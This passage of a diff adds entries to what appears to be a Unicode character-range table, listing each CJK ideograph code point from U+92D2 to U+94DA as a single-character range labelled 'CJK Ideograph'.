+ ["\u92D2", "\u92D2"], /* CJK Ideograph */
+ ["\u92D3", "\u92D3"], /* CJK Ideograph */
+ ["\u92D4", "\u92D4"], /* CJK Ideograph */
+ ["\u92D5", "\u92D5"], /* CJK Ideograph */
+ ["\u92D6", "\u92D6"], /* CJK Ideograph */
+ ["\u92D7", "\u92D7"], /* CJK Ideograph */
+ ["\u92D8", "\u92D8"], /* CJK Ideograph */
+ ["\u92D9", "\u92D9"], /* CJK Ideograph */
+ ["\u92DA", "\u92DA"], /* CJK Ideograph */
+ ["\u92DB", "\u92DB"], /* CJK Ideograph */
+ ["\u92DC", "\u92DC"], /* CJK Ideograph */
+ ["\u92DD", "\u92DD"], /* CJK Ideograph */
+ ["\u92DE", "\u92DE"], /* CJK Ideograph */
+ ["\u92DF", "\u92DF"], /* CJK Ideograph */
+ ["\u92E0", "\u92E0"], /* CJK Ideograph */
+ ["\u92E1", "\u92E1"], /* CJK Ideograph */
+ ["\u92E2", "\u92E2"], /* CJK Ideograph */
+ ["\u92E3", "\u92E3"], /* CJK Ideograph */
+ ["\u92E4", "\u92E4"], /* CJK Ideograph */
+ ["\u92E5", "\u92E5"], /* CJK Ideograph */
+ ["\u92E6", "\u92E6"], /* CJK Ideograph */
+ ["\u92E7", "\u92E7"], /* CJK Ideograph */
+ ["\u92E8", "\u92E8"], /* CJK Ideograph */
+ ["\u92E9", "\u92E9"], /* CJK Ideograph */
+ ["\u92EA", "\u92EA"], /* CJK Ideograph */
+ ["\u92EB", "\u92EB"], /* CJK Ideograph */
+ ["\u92EC", "\u92EC"], /* CJK Ideograph */
+ ["\u92ED", "\u92ED"], /* CJK Ideograph */
+ ["\u92EE", "\u92EE"], /* CJK Ideograph */
+ ["\u92EF", "\u92EF"], /* CJK Ideograph */
+ ["\u92F0", "\u92F0"], /* CJK Ideograph */
+ ["\u92F1", "\u92F1"], /* CJK Ideograph */
+ ["\u92F2", "\u92F2"], /* CJK Ideograph */
+ ["\u92F3", "\u92F3"], /* CJK Ideograph */
+ ["\u92F4", "\u92F4"], /* CJK Ideograph */
+ ["\u92F5", "\u92F5"], /* CJK Ideograph */
+ ["\u92F6", "\u92F6"], /* CJK Ideograph */
+ ["\u92F7", "\u92F7"], /* CJK Ideograph */
+ ["\u92F8", "\u92F8"], /* CJK Ideograph */
+ ["\u92F9", "\u92F9"], /* CJK Ideograph */
+ ["\u92FA", "\u92FA"], /* CJK Ideograph */
+ ["\u92FB", "\u92FB"], /* CJK Ideograph */
+ ["\u92FC", "\u92FC"], /* CJK Ideograph */
+ ["\u92FD", "\u92FD"], /* CJK Ideograph */
+ ["\u92FE", "\u92FE"], /* CJK Ideograph */
+ ["\u92FF", "\u92FF"], /* CJK Ideograph */
+ ["\u9300", "\u9300"], /* CJK Ideograph */
+ ["\u9301", "\u9301"], /* CJK Ideograph */
+ ["\u9302", "\u9302"], /* CJK Ideograph */
+ ["\u9303", "\u9303"], /* CJK Ideograph */
+ ["\u9304", "\u9304"], /* CJK Ideograph */
+ ["\u9305", "\u9305"], /* CJK Ideograph */
+ ["\u9306", "\u9306"], /* CJK Ideograph */
+ ["\u9307", "\u9307"], /* CJK Ideograph */
+ ["\u9308", "\u9308"], /* CJK Ideograph */
+ ["\u9309", "\u9309"], /* CJK Ideograph */
+ ["\u930A", "\u930A"], /* CJK Ideograph */
+ ["\u930B", "\u930B"], /* CJK Ideograph */
+ ["\u930C", "\u930C"], /* CJK Ideograph */
+ ["\u930D", "\u930D"], /* CJK Ideograph */
+ ["\u930E", "\u930E"], /* CJK Ideograph */
+ ["\u930F", "\u930F"], /* CJK Ideograph */
+ ["\u9310", "\u9310"], /* CJK Ideograph */
+ ["\u9311", "\u9311"], /* CJK Ideograph */
+ ["\u9312", "\u9312"], /* CJK Ideograph */
+ ["\u9313", "\u9313"], /* CJK Ideograph */
+ ["\u9314", "\u9314"], /* CJK Ideograph */
+ ["\u9315", "\u9315"], /* CJK Ideograph */
+ ["\u9316", "\u9316"], /* CJK Ideograph */
+ ["\u9317", "\u9317"], /* CJK Ideograph */
+ ["\u9318", "\u9318"], /* CJK Ideograph */
+ ["\u9319", "\u9319"], /* CJK Ideograph */
+ ["\u931A", "\u931A"], /* CJK Ideograph */
+ ["\u931B", "\u931B"], /* CJK Ideograph */
+ ["\u931C", "\u931C"], /* CJK Ideograph */
+ ["\u931D", "\u931D"], /* CJK Ideograph */
+ ["\u931E", "\u931E"], /* CJK Ideograph */
+ ["\u931F", "\u931F"], /* CJK Ideograph */
+ ["\u9320", "\u9320"], /* CJK Ideograph */
+ ["\u9321", "\u9321"], /* CJK Ideograph */
+ ["\u9322", "\u9322"], /* CJK Ideograph */
+ ["\u9323", "\u9323"], /* CJK Ideograph */
+ ["\u9324", "\u9324"], /* CJK Ideograph */
+ ["\u9325", "\u9325"], /* CJK Ideograph */
+ ["\u9326", "\u9326"], /* CJK Ideograph */
+ ["\u9327", "\u9327"], /* CJK Ideograph */
+ ["\u9328", "\u9328"], /* CJK Ideograph */
+ ["\u9329", "\u9329"], /* CJK Ideograph */
+ ["\u932A", "\u932A"], /* CJK Ideograph */
+ ["\u932B", "\u932B"], /* CJK Ideograph */
+ ["\u932C", "\u932C"], /* CJK Ideograph */
+ ["\u932D", "\u932D"], /* CJK Ideograph */
+ ["\u932E", "\u932E"], /* CJK Ideograph */
+ ["\u932F", "\u932F"], /* CJK Ideograph */
+ ["\u9330", "\u9330"], /* CJK Ideograph */
+ ["\u9331", "\u9331"], /* CJK Ideograph */
+ ["\u9332", "\u9332"], /* CJK Ideograph */
+ ["\u9333", "\u9333"], /* CJK Ideograph */
+ ["\u9334", "\u9334"], /* CJK Ideograph */
+ ["\u9335", "\u9335"], /* CJK Ideograph */
+ ["\u9336", "\u9336"], /* CJK Ideograph */
+ ["\u9337", "\u9337"], /* CJK Ideograph */
+ ["\u9338", "\u9338"], /* CJK Ideograph */
+ ["\u9339", "\u9339"], /* CJK Ideograph */
+ ["\u933A", "\u933A"], /* CJK Ideograph */
+ ["\u933B", "\u933B"], /* CJK Ideograph */
+ ["\u933C", "\u933C"], /* CJK Ideograph */
+ ["\u933D", "\u933D"], /* CJK Ideograph */
+ ["\u933E", "\u933E"], /* CJK Ideograph */
+ ["\u933F", "\u933F"], /* CJK Ideograph */
+ ["\u9340", "\u9340"], /* CJK Ideograph */
+ ["\u9341", "\u9341"], /* CJK Ideograph */
+ ["\u9342", "\u9342"], /* CJK Ideograph */
+ ["\u9343", "\u9343"], /* CJK Ideograph */
+ ["\u9344", "\u9344"], /* CJK Ideograph */
+ ["\u9345", "\u9345"], /* CJK Ideograph */
+ ["\u9346", "\u9346"], /* CJK Ideograph */
+ ["\u9347", "\u9347"], /* CJK Ideograph */
+ ["\u9348", "\u9348"], /* CJK Ideograph */
+ ["\u9349", "\u9349"], /* CJK Ideograph */
+ ["\u934A", "\u934A"], /* CJK Ideograph */
+ ["\u934B", "\u934B"], /* CJK Ideograph */
+ ["\u934C", "\u934C"], /* CJK Ideograph */
+ ["\u934D", "\u934D"], /* CJK Ideograph */
+ ["\u934E", "\u934E"], /* CJK Ideograph */
+ ["\u934F", "\u934F"], /* CJK Ideograph */
+ ["\u9350", "\u9350"], /* CJK Ideograph */
+ ["\u9351", "\u9351"], /* CJK Ideograph */
+ ["\u9352", "\u9352"], /* CJK Ideograph */
+ ["\u9353", "\u9353"], /* CJK Ideograph */
+ ["\u9354", "\u9354"], /* CJK Ideograph */
+ ["\u9355", "\u9355"], /* CJK Ideograph */
+ ["\u9356", "\u9356"], /* CJK Ideograph */
+ ["\u9357", "\u9357"], /* CJK Ideograph */
+ ["\u9358", "\u9358"], /* CJK Ideograph */
+ ["\u9359", "\u9359"], /* CJK Ideograph */
+ ["\u935A", "\u935A"], /* CJK Ideograph */
+ ["\u935B", "\u935B"], /* CJK Ideograph */
+ ["\u935C", "\u935C"], /* CJK Ideograph */
+ ["\u935D", "\u935D"], /* CJK Ideograph */
+ ["\u935E", "\u935E"], /* CJK Ideograph */
+ ["\u935F", "\u935F"], /* CJK Ideograph */
+ ["\u9360", "\u9360"], /* CJK Ideograph */
+ ["\u9361", "\u9361"], /* CJK Ideograph */
+ ["\u9362", "\u9362"], /* CJK Ideograph */
+ ["\u9363", "\u9363"], /* CJK Ideograph */
+ ["\u9364", "\u9364"], /* CJK Ideograph */
+ ["\u9365", "\u9365"], /* CJK Ideograph */
+ ["\u9366", "\u9366"], /* CJK Ideograph */
+ ["\u9367", "\u9367"], /* CJK Ideograph */
+ ["\u9368", "\u9368"], /* CJK Ideograph */
+ ["\u9369", "\u9369"], /* CJK Ideograph */
+ ["\u936A", "\u936A"], /* CJK Ideograph */
+ ["\u936B", "\u936B"], /* CJK Ideograph */
+ ["\u936C", "\u936C"], /* CJK Ideograph */
+ ["\u936D", "\u936D"], /* CJK Ideograph */
+ ["\u936E", "\u936E"], /* CJK Ideograph */
+ ["\u936F", "\u936F"], /* CJK Ideograph */
+ ["\u9370", "\u9370"], /* CJK Ideograph */
+ ["\u9371", "\u9371"], /* CJK Ideograph */
+ ["\u9372", "\u9372"], /* CJK Ideograph */
+ ["\u9373", "\u9373"], /* CJK Ideograph */
+ ["\u9374", "\u9374"], /* CJK Ideograph */
+ ["\u9375", "\u9375"], /* CJK Ideograph */
+ ["\u9376", "\u9376"], /* CJK Ideograph */
+ ["\u9377", "\u9377"], /* CJK Ideograph */
+ ["\u9378", "\u9378"], /* CJK Ideograph */
+ ["\u9379", "\u9379"], /* CJK Ideograph */
+ ["\u937A", "\u937A"], /* CJK Ideograph */
+ ["\u937B", "\u937B"], /* CJK Ideograph */
+ ["\u937C", "\u937C"], /* CJK Ideograph */
+ ["\u937D", "\u937D"], /* CJK Ideograph */
+ ["\u937E", "\u937E"], /* CJK Ideograph */
+ ["\u937F", "\u937F"], /* CJK Ideograph */
+ ["\u9380", "\u9380"], /* CJK Ideograph */
+ ["\u9381", "\u9381"], /* CJK Ideograph */
+ ["\u9382", "\u9382"], /* CJK Ideograph */
+ ["\u9383", "\u9383"], /* CJK Ideograph */
+ ["\u9384", "\u9384"], /* CJK Ideograph */
+ ["\u9385", "\u9385"], /* CJK Ideograph */
+ ["\u9386", "\u9386"], /* CJK Ideograph */
+ ["\u9387", "\u9387"], /* CJK Ideograph */
+ ["\u9388", "\u9388"], /* CJK Ideograph */
+ ["\u9389", "\u9389"], /* CJK Ideograph */
+ ["\u938A", "\u938A"], /* CJK Ideograph */
+ ["\u938B", "\u938B"], /* CJK Ideograph */
+ ["\u938C", "\u938C"], /* CJK Ideograph */
+ ["\u938D", "\u938D"], /* CJK Ideograph */
+ ["\u938E", "\u938E"], /* CJK Ideograph */
+ ["\u938F", "\u938F"], /* CJK Ideograph */
+ ["\u9390", "\u9390"], /* CJK Ideograph */
+ ["\u9391", "\u9391"], /* CJK Ideograph */
+ ["\u9392", "\u9392"], /* CJK Ideograph */
+ ["\u9393", "\u9393"], /* CJK Ideograph */
+ ["\u9394", "\u9394"], /* CJK Ideograph */
+ ["\u9395", "\u9395"], /* CJK Ideograph */
+ ["\u9396", "\u9396"], /* CJK Ideograph */
+ ["\u9397", "\u9397"], /* CJK Ideograph */
+ ["\u9398", "\u9398"], /* CJK Ideograph */
+ ["\u9399", "\u9399"], /* CJK Ideograph */
+ ["\u939A", "\u939A"], /* CJK Ideograph */
+ ["\u939B", "\u939B"], /* CJK Ideograph */
+ ["\u939C", "\u939C"], /* CJK Ideograph */
+ ["\u939D", "\u939D"], /* CJK Ideograph */
+ ["\u939E", "\u939E"], /* CJK Ideograph */
+ ["\u939F", "\u939F"], /* CJK Ideograph */
+ ["\u93A0", "\u93A0"], /* CJK Ideograph */
+ ["\u93A1", "\u93A1"], /* CJK Ideograph */
+ ["\u93A2", "\u93A2"], /* CJK Ideograph */
+ ["\u93A3", "\u93A3"], /* CJK Ideograph */
+ ["\u93A4", "\u93A4"], /* CJK Ideograph */
+ ["\u93A5", "\u93A5"], /* CJK Ideograph */
+ ["\u93A6", "\u93A6"], /* CJK Ideograph */
+ ["\u93A7", "\u93A7"], /* CJK Ideograph */
+ ["\u93A8", "\u93A8"], /* CJK Ideograph */
+ ["\u93A9", "\u93A9"], /* CJK Ideograph */
+ ["\u93AA", "\u93AA"], /* CJK Ideograph */
+ ["\u93AB", "\u93AB"], /* CJK Ideograph */
+ ["\u93AC", "\u93AC"], /* CJK Ideograph */
+ ["\u93AD", "\u93AD"], /* CJK Ideograph */
+ ["\u93AE", "\u93AE"], /* CJK Ideograph */
+ ["\u93AF", "\u93AF"], /* CJK Ideograph */
+ ["\u93B0", "\u93B0"], /* CJK Ideograph */
+ ["\u93B1", "\u93B1"], /* CJK Ideograph */
+ ["\u93B2", "\u93B2"], /* CJK Ideograph */
+ ["\u93B3", "\u93B3"], /* CJK Ideograph */
+ ["\u93B4", "\u93B4"], /* CJK Ideograph */
+ ["\u93B5", "\u93B5"], /* CJK Ideograph */
+ ["\u93B6", "\u93B6"], /* CJK Ideograph */
+ ["\u93B7", "\u93B7"], /* CJK Ideograph */
+ ["\u93B8", "\u93B8"], /* CJK Ideograph */
+ ["\u93B9", "\u93B9"], /* CJK Ideograph */
+ ["\u93BA", "\u93BA"], /* CJK Ideograph */
+ ["\u93BB", "\u93BB"], /* CJK Ideograph */
+ ["\u93BC", "\u93BC"], /* CJK Ideograph */
+ ["\u93BD", "\u93BD"], /* CJK Ideograph */
+ ["\u93BE", "\u93BE"], /* CJK Ideograph */
+ ["\u93BF", "\u93BF"], /* CJK Ideograph */
+ ["\u93C0", "\u93C0"], /* CJK Ideograph */
+ ["\u93C1", "\u93C1"], /* CJK Ideograph */
+ ["\u93C2", "\u93C2"], /* CJK Ideograph */
+ ["\u93C3", "\u93C3"], /* CJK Ideograph */
+ ["\u93C4", "\u93C4"], /* CJK Ideograph */
+ ["\u93C5", "\u93C5"], /* CJK Ideograph */
+ ["\u93C6", "\u93C6"], /* CJK Ideograph */
+ ["\u93C7", "\u93C7"], /* CJK Ideograph */
+ ["\u93C8", "\u93C8"], /* CJK Ideograph */
+ ["\u93C9", "\u93C9"], /* CJK Ideograph */
+ ["\u93CA", "\u93CA"], /* CJK Ideograph */
+ ["\u93CB", "\u93CB"], /* CJK Ideograph */
+ ["\u93CC", "\u93CC"], /* CJK Ideograph */
+ ["\u93CD", "\u93CD"], /* CJK Ideograph */
+ ["\u93CE", "\u93CE"], /* CJK Ideograph */
+ ["\u93CF", "\u93CF"], /* CJK Ideograph */
+ ["\u93D0", "\u93D0"], /* CJK Ideograph */
+ ["\u93D1", "\u93D1"], /* CJK Ideograph */
+ ["\u93D2", "\u93D2"], /* CJK Ideograph */
+ ["\u93D3", "\u93D3"], /* CJK Ideograph */
+ ["\u93D4", "\u93D4"], /* CJK Ideograph */
+ ["\u93D5", "\u93D5"], /* CJK Ideograph */
+ ["\u93D6", "\u93D6"], /* CJK Ideograph */
+ ["\u93D7", "\u93D7"], /* CJK Ideograph */
+ ["\u93D8", "\u93D8"], /* CJK Ideograph */
+ ["\u93D9", "\u93D9"], /* CJK Ideograph */
+ ["\u93DA", "\u93DA"], /* CJK Ideograph */
+ ["\u93DB", "\u93DB"], /* CJK Ideograph */
+ ["\u93DC", "\u93DC"], /* CJK Ideograph */
+ ["\u93DD", "\u93DD"], /* CJK Ideograph */
+ ["\u93DE", "\u93DE"], /* CJK Ideograph */
+ ["\u93DF", "\u93DF"], /* CJK Ideograph */
+ ["\u93E0", "\u93E0"], /* CJK Ideograph */
+ ["\u93E1", "\u93E1"], /* CJK Ideograph */
+ ["\u93E2", "\u93E2"], /* CJK Ideograph */
+ ["\u93E3", "\u93E3"], /* CJK Ideograph */
+ ["\u93E4", "\u93E4"], /* CJK Ideograph */
+ ["\u93E5", "\u93E5"], /* CJK Ideograph */
+ ["\u93E6", "\u93E6"], /* CJK Ideograph */
+ ["\u93E7", "\u93E7"], /* CJK Ideograph */
+ ["\u93E8", "\u93E8"], /* CJK Ideograph */
+ ["\u93E9", "\u93E9"], /* CJK Ideograph */
+ ["\u93EA", "\u93EA"], /* CJK Ideograph */
+ ["\u93EB", "\u93EB"], /* CJK Ideograph */
+ ["\u93EC", "\u93EC"], /* CJK Ideograph */
+ ["\u93ED", "\u93ED"], /* CJK Ideograph */
+ ["\u93EE", "\u93EE"], /* CJK Ideograph */
+ ["\u93EF", "\u93EF"], /* CJK Ideograph */
+ ["\u93F0", "\u93F0"], /* CJK Ideograph */
+ ["\u93F1", "\u93F1"], /* CJK Ideograph */
+ ["\u93F2", "\u93F2"], /* CJK Ideograph */
+ ["\u93F3", "\u93F3"], /* CJK Ideograph */
+ ["\u93F4", "\u93F4"], /* CJK Ideograph */
+ ["\u93F5", "\u93F5"], /* CJK Ideograph */
+ ["\u93F6", "\u93F6"], /* CJK Ideograph */
+ ["\u93F7", "\u93F7"], /* CJK Ideograph */
+ ["\u93F8", "\u93F8"], /* CJK Ideograph */
+ ["\u93F9", "\u93F9"], /* CJK Ideograph */
+ ["\u93FA", "\u93FA"], /* CJK Ideograph */
+ ["\u93FB", "\u93FB"], /* CJK Ideograph */
+ ["\u93FC", "\u93FC"], /* CJK Ideograph */
+ ["\u93FD", "\u93FD"], /* CJK Ideograph */
+ ["\u93FE", "\u93FE"], /* CJK Ideograph */
+ ["\u93FF", "\u93FF"], /* CJK Ideograph */
+ ["\u9400", "\u9400"], /* CJK Ideograph */
+ ["\u9401", "\u9401"], /* CJK Ideograph */
+ ["\u9402", "\u9402"], /* CJK Ideograph */
+ ["\u9403", "\u9403"], /* CJK Ideograph */
+ ["\u9404", "\u9404"], /* CJK Ideograph */
+ ["\u9405", "\u9405"], /* CJK Ideograph */
+ ["\u9406", "\u9406"], /* CJK Ideograph */
+ ["\u9407", "\u9407"], /* CJK Ideograph */
+ ["\u9408", "\u9408"], /* CJK Ideograph */
+ ["\u9409", "\u9409"], /* CJK Ideograph */
+ ["\u940A", "\u940A"], /* CJK Ideograph */
+ ["\u940B", "\u940B"], /* CJK Ideograph */
+ ["\u940C", "\u940C"], /* CJK Ideograph */
+ ["\u940D", "\u940D"], /* CJK Ideograph */
+ ["\u940E", "\u940E"], /* CJK Ideograph */
+ ["\u940F", "\u940F"], /* CJK Ideograph */
+ ["\u9410", "\u9410"], /* CJK Ideograph */
+ ["\u9411", "\u9411"], /* CJK Ideograph */
+ ["\u9412", "\u9412"], /* CJK Ideograph */
+ ["\u9413", "\u9413"], /* CJK Ideograph */
+ ["\u9414", "\u9414"], /* CJK Ideograph */
+ ["\u9415", "\u9415"], /* CJK Ideograph */
+ ["\u9416", "\u9416"], /* CJK Ideograph */
+ ["\u9417", "\u9417"], /* CJK Ideograph */
+ ["\u9418", "\u9418"], /* CJK Ideograph */
+ ["\u9419", "\u9419"], /* CJK Ideograph */
+ ["\u941A", "\u941A"], /* CJK Ideograph */
+ ["\u941B", "\u941B"], /* CJK Ideograph */
+ ["\u941C", "\u941C"], /* CJK Ideograph */
+ ["\u941D", "\u941D"], /* CJK Ideograph */
+ ["\u941E", "\u941E"], /* CJK Ideograph */
+ ["\u941F", "\u941F"], /* CJK Ideograph */
+ ["\u9420", "\u9420"], /* CJK Ideograph */
+ ["\u9421", "\u9421"], /* CJK Ideograph */
+ ["\u9422", "\u9422"], /* CJK Ideograph */
+ ["\u9423", "\u9423"], /* CJK Ideograph */
+ ["\u9424", "\u9424"], /* CJK Ideograph */
+ ["\u9425", "\u9425"], /* CJK Ideograph */
+ ["\u9426", "\u9426"], /* CJK Ideograph */
+ ["\u9427", "\u9427"], /* CJK Ideograph */
+ ["\u9428", "\u9428"], /* CJK Ideograph */
+ ["\u9429", "\u9429"], /* CJK Ideograph */
+ ["\u942A", "\u942A"], /* CJK Ideograph */
+ ["\u942B", "\u942B"], /* CJK Ideograph */
+ ["\u942C", "\u942C"], /* CJK Ideograph */
+ ["\u942D", "\u942D"], /* CJK Ideograph */
+ ["\u942E", "\u942E"], /* CJK Ideograph */
+ ["\u942F", "\u942F"], /* CJK Ideograph */
+ ["\u9430", "\u9430"], /* CJK Ideograph */
+ ["\u9431", "\u9431"], /* CJK Ideograph */
+ ["\u9432", "\u9432"], /* CJK Ideograph */
+ ["\u9433", "\u9433"], /* CJK Ideograph */
+ ["\u9434", "\u9434"], /* CJK Ideograph */
+ ["\u9435", "\u9435"], /* CJK Ideograph */
+ ["\u9436", "\u9436"], /* CJK Ideograph */
+ ["\u9437", "\u9437"], /* CJK Ideograph */
+ ["\u9438", "\u9438"], /* CJK Ideograph */
+ ["\u9439", "\u9439"], /* CJK Ideograph */
+ ["\u943A", "\u943A"], /* CJK Ideograph */
+ ["\u943B", "\u943B"], /* CJK Ideograph */
+ ["\u943C", "\u943C"], /* CJK Ideograph */
+ ["\u943D", "\u943D"], /* CJK Ideograph */
+ ["\u943E", "\u943E"], /* CJK Ideograph */
+ ["\u943F", "\u943F"], /* CJK Ideograph */
+ ["\u9440", "\u9440"], /* CJK Ideograph */
+ ["\u9441", "\u9441"], /* CJK Ideograph */
+ ["\u9442", "\u9442"], /* CJK Ideograph */
+ ["\u9443", "\u9443"], /* CJK Ideograph */
+ ["\u9444", "\u9444"], /* CJK Ideograph */
+ ["\u9445", "\u9445"], /* CJK Ideograph */
+ ["\u9446", "\u9446"], /* CJK Ideograph */
+ ["\u9447", "\u9447"], /* CJK Ideograph */
+ ["\u9448", "\u9448"], /* CJK Ideograph */
+ ["\u9449", "\u9449"], /* CJK Ideograph */
+ ["\u944A", "\u944A"], /* CJK Ideograph */
+ ["\u944B", "\u944B"], /* CJK Ideograph */
+ ["\u944C", "\u944C"], /* CJK Ideograph */
+ ["\u944D", "\u944D"], /* CJK Ideograph */
+ ["\u944E", "\u944E"], /* CJK Ideograph */
+ ["\u944F", "\u944F"], /* CJK Ideograph */
+ ["\u9450", "\u9450"], /* CJK Ideograph */
+ ["\u9451", "\u9451"], /* CJK Ideograph */
+ ["\u9452", "\u9452"], /* CJK Ideograph */
+ ["\u9453", "\u9453"], /* CJK Ideograph */
+ ["\u9454", "\u9454"], /* CJK Ideograph */
+ ["\u9455", "\u9455"], /* CJK Ideograph */
+ ["\u9456", "\u9456"], /* CJK Ideograph */
+ ["\u9457", "\u9457"], /* CJK Ideograph */
+ ["\u9458", "\u9458"], /* CJK Ideograph */
+ ["\u9459", "\u9459"], /* CJK Ideograph */
+ ["\u945A", "\u945A"], /* CJK Ideograph */
+ ["\u945B", "\u945B"], /* CJK Ideograph */
+ ["\u945C", "\u945C"], /* CJK Ideograph */
+ ["\u945D", "\u945D"], /* CJK Ideograph */
+ ["\u945E", "\u945E"], /* CJK Ideograph */
+ ["\u945F", "\u945F"], /* CJK Ideograph */
+ ["\u9460", "\u9460"], /* CJK Ideograph */
+ ["\u9461", "\u9461"], /* CJK Ideograph */
+ ["\u9462", "\u9462"], /* CJK Ideograph */
+ ["\u9463", "\u9463"], /* CJK Ideograph */
+ ["\u9464", "\u9464"], /* CJK Ideograph */
+ ["\u9465", "\u9465"], /* CJK Ideograph */
+ ["\u9466", "\u9466"], /* CJK Ideograph */
+ ["\u9467", "\u9467"], /* CJK Ideograph */
+ ["\u9468", "\u9468"], /* CJK Ideograph */
+ ["\u9469", "\u9469"], /* CJK Ideograph */
+ ["\u946A", "\u946A"], /* CJK Ideograph */
+ ["\u946B", "\u946B"], /* CJK Ideograph */
+ ["\u946C", "\u946C"], /* CJK Ideograph */
+ ["\u946D", "\u946D"], /* CJK Ideograph */
+ ["\u946E", "\u946E"], /* CJK Ideograph */
+ ["\u946F", "\u946F"], /* CJK Ideograph */
+ ["\u9470", "\u9470"], /* CJK Ideograph */
+ ["\u9471", "\u9471"], /* CJK Ideograph */
+ ["\u9472", "\u9472"], /* CJK Ideograph */
+ ["\u9473", "\u9473"], /* CJK Ideograph */
+ ["\u9474", "\u9474"], /* CJK Ideograph */
+ ["\u9475", "\u9475"], /* CJK Ideograph */
+ ["\u9476", "\u9476"], /* CJK Ideograph */
+ ["\u9477", "\u9477"], /* CJK Ideograph */
+ ["\u9478", "\u9478"], /* CJK Ideograph */
+ ["\u9479", "\u9479"], /* CJK Ideograph */
+ ["\u947A", "\u947A"], /* CJK Ideograph */
+ ["\u947B", "\u947B"], /* CJK Ideograph */
+ ["\u947C", "\u947C"], /* CJK Ideograph */
+ ["\u947D", "\u947D"], /* CJK Ideograph */
+ ["\u947E", "\u947E"], /* CJK Ideograph */
+ ["\u947F", "\u947F"], /* CJK Ideograph */
+ ["\u9480", "\u9480"], /* CJK Ideograph */
+ ["\u9481", "\u9481"], /* CJK Ideograph */
+ ["\u9482", "\u9482"], /* CJK Ideograph */
+ ["\u9483", "\u9483"], /* CJK Ideograph */
+ ["\u9484", "\u9484"], /* CJK Ideograph */
+ ["\u9485", "\u9485"], /* CJK Ideograph */
+ ["\u9486", "\u9486"], /* CJK Ideograph */
+ ["\u9487", "\u9487"], /* CJK Ideograph */
+ ["\u9488", "\u9488"], /* CJK Ideograph */
+ ["\u9489", "\u9489"], /* CJK Ideograph */
+ ["\u948A", "\u948A"], /* CJK Ideograph */
+ ["\u948B", "\u948B"], /* CJK Ideograph */
+ ["\u948C", "\u948C"], /* CJK Ideograph */
+ ["\u948D", "\u948D"], /* CJK Ideograph */
+ ["\u948E", "\u948E"], /* CJK Ideograph */
+ ["\u948F", "\u948F"], /* CJK Ideograph */
+ ["\u9490", "\u9490"], /* CJK Ideograph */
+ ["\u9491", "\u9491"], /* CJK Ideograph */
+ ["\u9492", "\u9492"], /* CJK Ideograph */
+ ["\u9493", "\u9493"], /* CJK Ideograph */
+ ["\u9494", "\u9494"], /* CJK Ideograph */
+ ["\u9495", "\u9495"], /* CJK Ideograph */
+ ["\u9496", "\u9496"], /* CJK Ideograph */
+ ["\u9497", "\u9497"], /* CJK Ideograph */
+ ["\u9498", "\u9498"], /* CJK Ideograph */
+ ["\u9499", "\u9499"], /* CJK Ideograph */
+ ["\u949A", "\u949A"], /* CJK Ideograph */
+ ["\u949B", "\u949B"], /* CJK Ideograph */
+ ["\u949C", "\u949C"], /* CJK Ideograph */
+ ["\u949D", "\u949D"], /* CJK Ideograph */
+ ["\u949E", "\u949E"], /* CJK Ideograph */
+ ["\u949F", "\u949F"], /* CJK Ideograph */
+ ["\u94A0", "\u94A0"], /* CJK Ideograph */
+ ["\u94A1", "\u94A1"], /* CJK Ideograph */
+ ["\u94A2", "\u94A2"], /* CJK Ideograph */
+ ["\u94A3", "\u94A3"], /* CJK Ideograph */
+ ["\u94A4", "\u94A4"], /* CJK Ideograph */
+ ["\u94A5", "\u94A5"], /* CJK Ideograph */
+ ["\u94A6", "\u94A6"], /* CJK Ideograph */
+ ["\u94A7", "\u94A7"], /* CJK Ideograph */
+ ["\u94A8", "\u94A8"], /* CJK Ideograph */
+ ["\u94A9", "\u94A9"], /* CJK Ideograph */
+ ["\u94AA", "\u94AA"], /* CJK Ideograph */
+ ["\u94AB", "\u94AB"], /* CJK Ideograph */
+ ["\u94AC", "\u94AC"], /* CJK Ideograph */
+ ["\u94AD", "\u94AD"], /* CJK Ideograph */
+ ["\u94AE", "\u94AE"], /* CJK Ideograph */
+ ["\u94AF", "\u94AF"], /* CJK Ideograph */
+ ["\u94B0", "\u94B0"], /* CJK Ideograph */
+ ["\u94B1", "\u94B1"], /* CJK Ideograph */
+ ["\u94B2", "\u94B2"], /* CJK Ideograph */
+ ["\u94B3", "\u94B3"], /* CJK Ideograph */
+ ["\u94B4", "\u94B4"], /* CJK Ideograph */
+ ["\u94B5", "\u94B5"], /* CJK Ideograph */
+ ["\u94B6", "\u94B6"], /* CJK Ideograph */
+ ["\u94B7", "\u94B7"], /* CJK Ideograph */
+ ["\u94B8", "\u94B8"], /* CJK Ideograph */
+ ["\u94B9", "\u94B9"], /* CJK Ideograph */
+ ["\u94BA", "\u94BA"], /* CJK Ideograph */
+ ["\u94BB", "\u94BB"], /* CJK Ideograph */
+ ["\u94BC", "\u94BC"], /* CJK Ideograph */
+ ["\u94BD", "\u94BD"], /* CJK Ideograph */
+ ["\u94BE", "\u94BE"], /* CJK Ideograph */
+ ["\u94BF", "\u94BF"], /* CJK Ideograph */
+ ["\u94C0", "\u94C0"], /* CJK Ideograph */
+ ["\u94C1", "\u94C1"], /* CJK Ideograph */
+ ["\u94C2", "\u94C2"], /* CJK Ideograph */
+ ["\u94C3", "\u94C3"], /* CJK Ideograph */
+ ["\u94C4", "\u94C4"], /* CJK Ideograph */
+ ["\u94C5", "\u94C5"], /* CJK Ideograph */
+ ["\u94C6", "\u94C6"], /* CJK Ideograph */
+ ["\u94C7", "\u94C7"], /* CJK Ideograph */
+ ["\u94C8", "\u94C8"], /* CJK Ideograph */
+ ["\u94C9", "\u94C9"], /* CJK Ideograph */
+ ["\u94CA", "\u94CA"], /* CJK Ideograph */
+ ["\u94CB", "\u94CB"], /* CJK Ideograph */
+ ["\u94CC", "\u94CC"], /* CJK Ideograph */
+ ["\u94CD", "\u94CD"], /* CJK Ideograph */
+ ["\u94CE", "\u94CE"], /* CJK Ideograph */
+ ["\u94CF", "\u94CF"], /* CJK Ideograph */
+ ["\u94D0", "\u94D0"], /* CJK Ideograph */
+ ["\u94D1", "\u94D1"], /* CJK Ideograph */
+ ["\u94D2", "\u94D2"], /* CJK Ideograph */
+ ["\u94D3", "\u94D3"], /* CJK Ideograph */
+ ["\u94D4", "\u94D4"], /* CJK Ideograph */
+ ["\u94D5", "\u94D5"], /* CJK Ideograph */
+ ["\u94D6", "\u94D6"], /* CJK Ideograph */
+ ["\u94D7", "\u94D7"], /* CJK Ideograph */
+ ["\u94D8", "\u94D8"], /* CJK Ideograph */
+ ["\u94D9", "\u94D9"], /* CJK Ideograph */
+ ["\u94DA", "\u94DA"], /* CJK Ideograph */
